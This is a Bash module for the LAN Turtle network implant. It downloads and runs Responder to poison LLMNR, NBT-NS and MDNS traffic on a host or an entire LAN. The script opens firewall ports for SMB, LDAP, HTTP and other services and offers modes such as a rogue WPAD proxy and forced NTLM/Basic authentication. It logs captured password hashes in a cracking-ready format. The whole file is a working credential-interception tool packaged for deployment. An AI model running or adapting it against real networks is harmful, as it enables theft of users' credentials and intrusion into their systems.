#!/bin/bash /usr/lib/turtle/turtle_module # responder by IMcPwn # http://imcpwn.com VERSION="2.4" DESCRIPTION="Responder - LLMNR, NBT-NS and MDNS poisoner" CONF=/tmp/responder.form AUTHOR=IMcPwn : ${DIALOG_OK=0} : ${DIALOG_CANCEL=1} : ${DIALOG_HELP=2} : ${DIALOG_EXTRA=3} : ${DIALOG_ESC=255} function start { if [ -s /etc/config/responder ]; then responder_interface=$(uci get responder.interface) responder_log=$(uci get responder.log) responder_mode=$(uci get responder.mode) if [[ $responder_interface == "" ]]; then echo "Responder interface not configured." exit 1 fi if [[ $responder_log == "" ]]; then echo "Responder log location not configured." exit 1 fi if [[ $responder_mode == "" ]]; then echo "Responder mode not configured." exit 1 fi if [[ ! $(opkg list-installed | grep git) ]]; then echo "Dependency git not installed. Installing..." check_internet opkg update > /dev/null && opkg install git fi if [[ ! $(opkg list-installed | grep python-sqlite3) ]]; then echo "Dependency python-sqlite3 not installed. Installing..." check_internet opkg update > /dev/null && opkg install python-sqlite3 fi if [[ ! -d /etc/turtle/Responder || ! -s /etc/turtle/Responder/Responder.py || ! -s /etc/turtle/Responder/Responder.conf ]]; then echo "Required Responder files not found. Downloading..." check_internet rm -rf /etc/turtle/Responder git clone git://github.com/SpiderLabs/Responder /etc/turtle/Responder -q fi case $responder_mode in 1) mode="";; 2) mode="-A";; 3) mode="-w";; 4) mode="-r";; 5) mode="-F";; 6) mode="-f";; 7) mode="-v";; 8) mode="-r -F";; 9) mode="-r -F -f";; *) echo "Responder configuration not valid." echo "Please re-configure then try again." rm -f /etc/config/responder exit 1 ;; esac case $responder_log in sshfs) if pgrep sshfs > /dev/null; then if [[ $responder_interface == "eth1" ]]; then iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 53 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 137 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 138 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 389 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 5553 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 25 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 80 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 110 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 139 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 389 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 445 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 1433 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 3141 -j ACCEPT fi if [ -s /etc/turtle/Responder/Responder.db ]; then rm -f /etc/turtle/Responder/Responder.db fi if [[ $(readlink /etc/turtle/Responder/logs) != "/sshfs/Responder/logs" || ! -d /sshfs/Responder/logs ]]; then rm -rf /etc/turtle/Responder/logs mkdir -p /sshfs/Responder/logs ln -s /sshfs/Responder/logs /etc/turtle/Responder/logs fi echo "python /etc/turtle/Responder/Responder.py $mode -I $responder_interface" | at now echo -e "Responder started in mode $responder_mode against interface $responder_interface\nand logs are being saved to /sshfs/Responder" echo "Logs can be viewed at Configure > log > View log" else echo "SSHFS not running" exit 1 fi ;; tmp) if [[ $responder_interface == "eth1" ]]; then iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 53 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 137 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 138 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 389 -j ACCEPT iptables -I INPUT 1 -i eth1 -p udp --dport 5553 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 21 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 25 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 80 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 110 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 139 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 389 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 445 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 1433 -j ACCEPT iptables -I INPUT 1 -i eth1 -p tcp --dport 3141 -j ACCEPT fi if [ -s /etc/turtle/Responder/Responder.db ]; then rm -f /etc/turtle/Responder/Responder.db fi if [[ $(readlink /etc/turtle/Responder/logs) != "/tmp/Responder/logs" || ! -d /tmp/Responder/logs ]]; then rm -rf /etc/turtle/Responder/logs mkdir -p /tmp/Responder/logs ln -s /tmp/Responder/logs /etc/turtle/Responder/logs fi echo "python /etc/turtle/Responder/Responder.py $mode -I $responder_interface &" | at now echo -e "Responder started in mode $responder_mode against interface $responder_interface\nand logs are being saved to /tmp/Responder" echo "Responder started with pid" pgrep -f Responder.py ;; *) echo "Responder configuration not valid." echo "Please re-configure then try again." rm -f /etc/config/responder exit 1 ;; esac else echo "Responder not configured." exit 1 fi } function stop { responder_interface=$(uci get responder.interface) if [[ $responder_interface == "eth1" ]]; then #iptables -t filter -I INPUT 1 -i eth1 -j ACCEPT iptables -t filter -D INPUT -i eth1 -j ACCEPT iptables -D INPUT -i eth1 -p udp --dport 53 -j ACCEPT iptables -D INPUT -i eth1 -p udp --dport 137 -j ACCEPT iptables -D INPUT -i eth1 -p udp --dport 138 -j ACCEPT iptables -D INPUT -i eth1 -p udp --dport 389 -j ACCEPT iptables -D INPUT -i eth1 -p udp --dport 5553 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 21 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 25 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 80 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 110 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 139 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 389 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 445 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 1433 -j ACCEPT iptables -D INPUT -i eth1 -p tcp --dport 3141 -j ACCEPT fi if pgrep -f Responder.py > /dev/null; then kill $(pgrep -f Responder.py); fi echo "Responder stopped" } function status { if ps | grep -w -q [/]etc/turtle/Responder/Responder.py; then echo "1"; else echo "0"; fi } function check_internet { ping -q -w 5 -c 1 lanturtle.com &> /dev/null && { : } || { echo -e "\nThe LAN Turtle is currently offline. The previous\noperation requires an internet connection." exit 1 } } function log { dialog --ok-label "Submit" \ --title "Responder Log Configuration" \ --extra-button \ --extra-label "View log" \ --help-button \ --radiolist "\n\ The log files can be saved to SSHFS or tmp.\n" 16 60 3\ 1 "Save log to SSHFS if available." off\ 2 "Save log to /tmp" off\ 2>$CONF return=$? case $return in $DIALOG_OK) LOG=$(cat $CONF) case $LOG in 1) uci set responder.log="sshfs" uci commit responder ;; 2) uci set responder.log="tmp" uci commit responder ;; esac configure;; $DIALOG_CANCEL) configure;; $DIALOG_ESC) configure;; $DIALOG_EXTRA) responder_log=$(uci get responder.log) case $responder_log in sshfs) dialog --title "/sshfs/Responder/logs/Responder-Session.log" --clear --tailbox "/sshfs/Responder/logs/Responder-Session.log" 18 72 ;; tmp) dialog --title "/tmp/Responder/logs/Responder-Session.log" --clear --tailbox "/tmp/Responder/logs/Responder-Session.log" 18 72 ;; *) echo "Responder log location not configured." ;; esac log;; $DIALOG_HELP) dialog --title "Help" --msgbox "\n\ All activity will be logged to Responder-Session.log\n\ Analyze mode will be logged to Analyze-Session.log\n\ Poisoning will be logged to Poisoners-Session.log\n\n\ All hashes are dumped an unique file John Jumbo compliant, using this format:\n\ (MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt\n\n\ " 18 72 log esac } function interface { dialog --ok-label "Submit" \ --title "Responder Interface Configuration" \ --radiolist "\n\ Responder can target the Host machine (The computer the LAN Turtle is plugged in to) or the LAN (The network the LAN Turtle is connected to).\n" 16 60 3\ 1 "Target just the Host machine (br-lan)." off\ 2 "Target the entire LAN (eth1)." off\ 2>$CONF return=$? case $return in $DIALOG_OK) INTERFACE=$(cat $CONF) case $INTERFACE in 1) uci set responder.interface="br-lan" uci commit responder ;; 2) uci set responder.interface="eth1" uci commit responder ;; esac configure;; $DIALOG_CANCEL) configure;; $DIALOG_ESC) configure;; esac } function mode { dialog --ok-label "Submit" \ --title "Responder Mode" \ --help-button \ --radiolist "Choose mode\n \n" 20 60 10\ 1 "Default mode" off\ 2 "Analyze mode" off\ 3 "Start WPAD rouge proxy server" off\ 4 "Enable answers for netbios suffix queries" off\ 5 "Force NTLM/Basic Authentication" off\ 6 "Fingerprint hosts" off\ 7 "Enable verbose" off\ 8 "Options 4 and 5" off\ 9 "Options 4, 5, and 6" off\ 2>$CONF return=$? case $return in $DIALOG_OK) mode=$(cat $CONF) case $mode in 1) uci set responder.mode="1" uci commit responder;; 2) uci set responder.mode="2" uci commit responder;; 3) uci set responder.mode="3" uci commit responder;; 4) uci set responder.mode="4" uci commit responder;; 5) uci set responder.mode="5" uci commit responder;; 6) uci set responder.mode="6" uci commit responder;; 7) uci set responder.mode="7" uci commit responder;; 8) uci set responder.mode="8" uci commit responder;; 9) uci set responder.mode="9" uci commit responder;; esac configure;; $DIALOG_CANCEL) configure;; $DIALOG_ESC) configure;; $DIALOG_HELP) dialog --title "Help" --msgbox "\n\ Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409).\n\ By default, the tool will only answer to File Server Service request, which is for SMB.\n\n\ The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior.\n\n\ For more information, see: https://github.com/SpiderLabs/Responder\n\ " 18 72 mode esac } function responderconf { dialog \ --help-button \ --title "Editing: /etc/turtle/Responder/Responder.conf" \ --editbox /etc/turtle/Responder/Responder.conf 18 72\ 2>$CONF return=$? case $return in $DIALOG_OK) cat $CONF | { cat $CONF > /etc/turtle/Responder/Responder.conf rm $CONF configure };; $DIALOG_HELP) dialog --title "Help" \ --msgbox "For information on this configuration, see: https://github.com/SpiderLabs/Responder" 20 60 responderconf;; $DIALOG_CANCEL) rm $CONF configure;; $DIALOG_ESC) rm $CONF configure;; esac } function configure { if [[ ! -s /etc/config/responder ]]; then touch /etc/config/responder fi dialog --title "" --menu "" 15 60 5 \ "log" "Specify log location" \ "interface" "Specify interface to target" \ "mode" "Specify Responder mode" \ "responderconf" "Edit Responder.conf" \ "back" "Return to previous menu" 2> $CONF result=$(cat $CONF && rm $CONF &>/dev/null) case $result in "log") log;; "interface") interface;; "mode") mode;; "responderconf") responderconf;; "back") exit;; esac }